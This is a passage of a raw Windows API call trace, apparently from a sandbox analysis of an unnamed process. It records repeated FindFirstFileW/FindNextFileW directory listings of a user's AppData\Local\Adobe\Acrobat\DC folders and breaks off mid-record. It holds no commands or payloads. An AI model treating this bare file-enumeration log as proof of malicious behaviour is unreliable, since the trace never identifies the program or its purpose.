ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.131] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0134.131] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0134.131] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0134.131] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0134.131] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0134.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0134.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0134.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0134.132] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.132] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.132] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0134.132] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0134.132] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0134.132] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.132] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0134.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0134.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0134.133] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0134.133] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.133] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.133] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0134.133] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0134.133] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0134.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0134.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0134.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0134.134] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.135] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.135] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0134.135] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.135] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0134.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0134.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0134.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0134.135] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.137] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.138] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt15.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0134.138] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt15.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0134.138] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0134.138] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0134.138] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr65536.dat", cAlternateFileName="ICONCA~2.DAT")) returned 1 [0134.138] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0134.138] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolsSearchCacheRdr", cAlternateFileName="TOOLSS~1")) returned 1 [0134.139] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0134.139] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.139] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0134.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0134.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0134.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0134.140] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.140] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.141] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt15.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0134.141] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt15.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0134.141] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0134.141] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0134.141] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr65536.dat", cAlternateFileName="ICONCA~2.DAT")) returned 1 [0134.141] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0134.142] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolsSearchCacheRdr", cAlternateFileName="TOOLSS~1")) returned 1 [0134.142] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0134.142] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, 